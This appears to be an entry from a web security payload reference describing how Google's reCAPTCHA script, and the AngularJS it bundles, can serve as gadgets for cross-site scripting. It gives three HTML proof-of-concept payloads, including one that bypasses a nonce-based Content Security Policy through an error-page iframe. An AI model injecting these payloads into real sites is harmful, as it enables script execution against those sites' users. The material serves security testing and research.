reCAPTCHA is a free service that protects your site from spam and abuse. It uses advanced risk analysis techniques to tell humans and bots apart.
The reCAPTCHA library allows to call a function under specific events (e.g. error-callback) through data-* attributes.
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
<!-- user input -->
<x class="g-recaptcha" data-sitekey="1337" data-error-callback="alert"></x>Related links:
The reCAPTCHA library brings under the hood AngularJS.
<script nonce="secret" src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- user input -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)'>The is another more generic payload that can be used to bypass CSP using error pages.
<script nonce="secret" src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- user input -->
<iframe id="ifr" src="/%GG"></iframe>
<img src=x ng-on-error="
win=$event.target.ownerDocument.defaultView;
win.ifr.contentWindow.document.write.bind(win.ifr.contentWindow.document, ['<script>alert(document.domain)</script>'])()
">Related links:
Found by @terjanq.